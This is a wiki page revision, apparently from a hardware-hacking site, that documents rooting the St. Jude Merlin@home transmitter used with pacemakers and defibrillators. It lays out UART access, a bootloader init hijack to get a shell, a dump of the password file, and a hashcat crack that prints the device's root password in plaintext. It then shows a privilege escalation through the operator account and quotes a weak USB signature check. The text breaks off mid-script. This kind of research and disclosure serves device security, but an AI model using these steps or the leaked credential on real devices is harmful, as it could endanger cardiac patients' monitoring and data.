   &amp;lt;Switch name=&amp;quot;SPARE_4_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_5_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;AIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CCRG_LMT_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EOS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_ERI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EVVI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HW_BVVI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;OCD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SOSD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TTRPY_DIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_DUR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_WK_DUR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_VRATE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATP_RX_SUCCESS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_TRPY_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_BIV_THRESHOLD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_RV_THRESHOLD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_MAJOR_EPISODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TRPY_ACCEL_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NOISE_REV_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVT_EPIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVF_EPIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_1_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_2_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_3_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_4_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_5_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;BIV_PACING_DURATION&amp;quot; value=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;RV_PACING_DURATION&amp;quot; value=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ALERT_MASK_DURATION&amp;quot; value=&amp;quot;4000&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;PERCENT_BIV_PACING&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;PERCENT_RV_PACING&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;GDC&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;1440&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;168&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_GDC_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_GDC_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Maintenance&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;168&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;MAINT_REBOOT_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;MAINT_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RF_STAT_COLLECT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;STAT_DATA_UPLD_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;MED&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;24&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_MED_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_MED_WINDOW_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ACTIVE_MED_SCHEDULES&amp;quot; value=&amp;quot;1&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MED_SCHEDULE_1&amp;quot; value=&amp;quot;1100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MED_SCHEDULE_2&amp;quot; value=&amp;quot;0500&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Spare&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_DateOfEvent=&amp;quot;2000-01-01&amp;quot; GS_Interval=&amp;quot;0&amp;quot; GS_TimeOfEvent=&amp;quot;08:00:00&amp;quot; GS_UnscheduledEvent=&amp;quot;Disable&amp;quot; GS_WeeklyEvent=&amp;quot;Sunday&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_DateOfEvent=&amp;quot;2000-01-01&amp;quot; US_Interval=&amp;quot;0&amp;quot; US_TimeOfEvent=&amp;quot;08:00:00&amp;quot; US_UnscheduledEvent=&amp;quot;Disable&amp;quot; US_WeeklyEvent=&amp;quot;Sunday&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG1&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG2&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG3&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG4&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG5&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG6&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG7&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG8&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG9&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG10&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER1&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER2&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER3&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER4&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER5&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER6&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER7&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER8&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER9&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER10&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL4&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL5&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL6&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL7&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL8&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL9&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL10&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL1&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL2&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL3&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT1&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT2&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT3&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT4&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT5&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT6&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT7&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT8&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT9&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT10&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
&amp;lt;/profile:ProfileList&amp;gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2701</id>
		<title>SJM Merlin at Home</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2701"/>
		<updated>2017-05-14T19:20:57Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: SJM Merlin@home model EX1150&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Merlin-at-home-1.jpg|100px|left|thumb]]&lt;br /&gt;
[[Category:Medical]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-front.jpg&lt;br /&gt;
File:Merlin-back.jpg&lt;br /&gt;
File:Merlin-side_usb.jpg&lt;br /&gt;
File:Merlin-antenna1.jpg&lt;br /&gt;
File:Merlin-antenna2.jpg&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Post device verification...&lt;br /&gt;
Serial2In string: ATi0&lt;br /&gt;
Serial2In string: &lt;br /&gt;
56000&lt;br /&gt;
Modem Post : Passed with retries = 0&lt;br /&gt;
&lt;br /&gt;
Time taken by POST : [1.197000] seconds&lt;br /&gt;
nand_init: manuf=0x000000EC  device=0x000000F1&lt;br /&gt;
scanning for bad blocks...&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x02B40000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x04B20000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x07660000&lt;br /&gt;
&lt;br /&gt;
Consider yourself BLOBed!&lt;br /&gt;
&lt;br /&gt;
blob version 2.0.5-pre2 for Tanto Basic Device&lt;br /&gt;
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw&lt;br /&gt;
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.&lt;br /&gt;
This is free software, and you are welcome to redistribute it&lt;br /&gt;
under certain conditions; read the GNU GPL for details.&lt;br /&gt;
blob release: d20081014_platform_4_16&lt;br /&gt;
Memory map:&lt;br /&gt;
  0x02000000 @ 0xc0000000 (32 MB)&lt;br /&gt;
&lt;br /&gt;
ram_post executing...&lt;br /&gt;
Data Bus Test&lt;br /&gt;
Address Bus Test&lt;br /&gt;
Data Qualifer Test&lt;br /&gt;
Device Test&lt;br /&gt;
c0200000status_next, board type = RF board revision =  (3)&lt;br /&gt;
c1e00000r14_svc = 0x0000034d&lt;br /&gt;
Autoboot in progress, press any key to stop ..&lt;br /&gt;
Autoboot aborted&lt;br /&gt;
Type &amp;quot;help&amp;quot; to get a list of commands&lt;br /&gt;
blob&amp;gt; boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We can pull some useful information from the device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# cat /etc/passwd&lt;br /&gt;
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:*:1:1:bin:/bin:&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:&lt;br /&gt;
sys:*:3:3:sys:/dev:&lt;br /&gt;
adm:*:4:4:adm:/var/adm:&lt;br /&gt;
lp:*:5:7:lp:/var/spool/lpd:&lt;br /&gt;
sync:*:6:8:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:8:10:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:*:9:11:mail:/var/spool/mail:&lt;br /&gt;
news:*:10:12:news:/var/spool/news:&lt;br /&gt;
uucp:*:11:13:uucp:/var/spool/uucp:&lt;br /&gt;
operator:*:12:0:operator:/root:&lt;br /&gt;
games:*:13:100:games:/usr/games:&lt;br /&gt;
ftp:*:15:14:ftp:/var/ftp:&lt;br /&gt;
man:*:16:100:man:/var/cache/man:&lt;br /&gt;
www:*:17:100:www:/var/www:&lt;br /&gt;
sshd:*:18:100:sshd:/var/run/sshd:&lt;br /&gt;
nobody:*:65534:65534:nobody:/home:/bin/sh&lt;br /&gt;
sh-2.05a# cat /etc/shadow&lt;br /&gt;
cat: /etc/shadow: No such file or directory&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets break this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;E:\hashcat-3.5.0&amp;gt;hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a&lt;br /&gt;
hashcat (v3.5.0) starting...&lt;br /&gt;
&lt;br /&gt;
* Device #1: WARNING! Kernel exec timeout is not disabled.&lt;br /&gt;
             This may cause &amp;quot;CL_OUT_OF_RESOURCES&amp;quot; or related errors.&lt;br /&gt;
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch&lt;br /&gt;
OpenCL Platform #1: NVIDIA Corporation&lt;br /&gt;
======================================&lt;br /&gt;
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU&lt;br /&gt;
&lt;br /&gt;
OpenCL Platform #2: Intel(R) Corporation&lt;br /&gt;
========================================&lt;br /&gt;
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.&lt;br /&gt;
&lt;br /&gt;
Hashes: 1 digests; 1 unique digests, 1 unique salts&lt;br /&gt;
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates&lt;br /&gt;
&lt;br /&gt;
Applicable optimizers:&lt;br /&gt;
* Zero-Byte&lt;br /&gt;
* Precompute-Final-Permutation&lt;br /&gt;
* Not-Iterated&lt;br /&gt;
* Single-Hash&lt;br /&gt;
* Single-Salt&lt;br /&gt;
* Brute-Force&lt;br /&gt;
&lt;br /&gt;
Watchdog: Temperature abort trigger set to 90c&lt;br /&gt;
Watchdog: Temperature retain trigger set to 75c&lt;br /&gt;
&lt;br /&gt;
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0q8h1Maw1oYAU:mah1200&lt;br /&gt;
&lt;br /&gt;
Session..........: sjm_hash&lt;br /&gt;
Status...........: Cracked&lt;br /&gt;
Hash.Type........: descrypt, DES (Unix), Traditional DES&lt;br /&gt;
Hash.Target......: 0q8h1Maw1oYAU&lt;br /&gt;
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)&lt;br /&gt;
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)&lt;br /&gt;
Guess.Mask.......: ?a?a?a?a?a?a?a [7]&lt;br /&gt;
Guess.Queue......: 1/1 (100.00%)&lt;br /&gt;
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)&lt;br /&gt;
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts&lt;br /&gt;
Progress.........: 4764729344/69833729609375 (0.01%)&lt;br /&gt;
Rejected.........: 0/4764729344 (0.00%)&lt;br /&gt;
Restore.Point....: 0/81450625 (0.00%)&lt;br /&gt;
Candidates.#1....: ;~9anan -&amp;gt; $sb~{ka&lt;br /&gt;
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16&lt;br /&gt;
&lt;br /&gt;
Started: Sun May 07 17:39:51 2017&lt;br /&gt;
Stopped: Sun May 07 17:40:05 2017&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attempts to login as root fail, what was going on with that operator user?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator:*:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets set the password to &amp;quot;test&amp;quot; and attempt logging in.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# grep &amp;quot;operator&amp;quot; /etc/passwd&lt;br /&gt;
operator:dPUvQFLH8...A:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[SJM_CONFIGURATION]&lt;br /&gt;
VERSION=EX2000 v6.1B PR_6.56&lt;br /&gt;
(none) login: root&lt;br /&gt;
Password: &lt;br /&gt;
Login incorrect&lt;br /&gt;
2017-05-14 &lt;br /&gt;
(none) login: operator&lt;br /&gt;
Password: &lt;br /&gt;
operator@(none):~$ whoami&lt;br /&gt;
operator&lt;br /&gt;
operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[266]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# whoami&lt;br /&gt;
root&lt;br /&gt;
root@(none):~# &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Taking Things Further ==&lt;br /&gt;
&lt;br /&gt;
Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke &lt;br /&gt;
#  this script only if the attached USB device is a mass-storage device.&lt;br /&gt;
#  hotplug does this by looking at the device class of the attached usb device&lt;br /&gt;
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices&lt;br /&gt;
#  is  ______&lt;br /&gt;
# &lt;br /&gt;
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to&lt;br /&gt;
#  find the scsi ID of the attached USB storage device. It then goes on to&lt;br /&gt;
#  find the device node corresponding to this scsi ID.&lt;br /&gt;
#  &lt;br /&gt;
# version 1.1 - Added USB signature check functionality &lt;br /&gt;
#&lt;br /&gt;
# For the new cellular adapters - viz mobidata and velocity, ignore the&lt;br /&gt;
# mass storage interface reported. Please see comments at the top of&lt;br /&gt;
# /etc/hotplug/usb/velocity for details.&lt;br /&gt;
#&lt;br /&gt;
#   - Ashok Iyer (16-Jun-2010)&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
export PATH=/usr/bin:/usr/local/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
MOUNT_PATH=&amp;quot;/mnt/sjmpendrives&amp;quot;&lt;br /&gt;
MOUNT_NUMBER=1&lt;br /&gt;
LOG_FILE=&amp;quot;/tmp/usbstorage.log&amp;quot;&lt;br /&gt;
SGMAP=&amp;quot;sg_map&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The functions in this script rely on &amp;quot;echo&amp;quot; to pass information to each&lt;br /&gt;
# other. If you need to modify this script, do not use &amp;quot;echo&amp;quot; for debugging.&lt;br /&gt;
# Instead use the feedback()/error_exit() functions below. These will log &lt;br /&gt;
# information to a log file and do not interfere with information passing &lt;br /&gt;
# between functions.&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
function check_sign {&lt;br /&gt;
    local node1=$1&amp;quot;1&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Checking signature ... &amp;quot;&lt;br /&gt;
    feedback &amp;quot;node1 = $node1&amp;quot;&lt;br /&gt;
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
    signature=`cat /tmp/.sign` &lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;$signature&amp;quot; = &amp;quot;SJM&amp;quot; ]; then&lt;br /&gt;
	feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	echo 0&lt;br /&gt;
    else&lt;br /&gt;
	feedback &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
	echo -1&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
# We only mount the first partition of a USB storage device. There is no &lt;br /&gt;
# requirement to mount multiple partitions. Makes the job easy :-)&lt;br /&gt;
function mount_scsi_dev {&lt;br /&gt;
    local scsi_dev=$1&lt;br /&gt;
    local mountpt=&amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
    # check if the first partition of the device is mounted &lt;br /&gt;
    if ! mount | egrep -q &amp;quot;^$scsi_dev&amp;quot;1&amp;quot;[[:space:]]&amp;quot; &lt;br /&gt;
    then&lt;br /&gt;
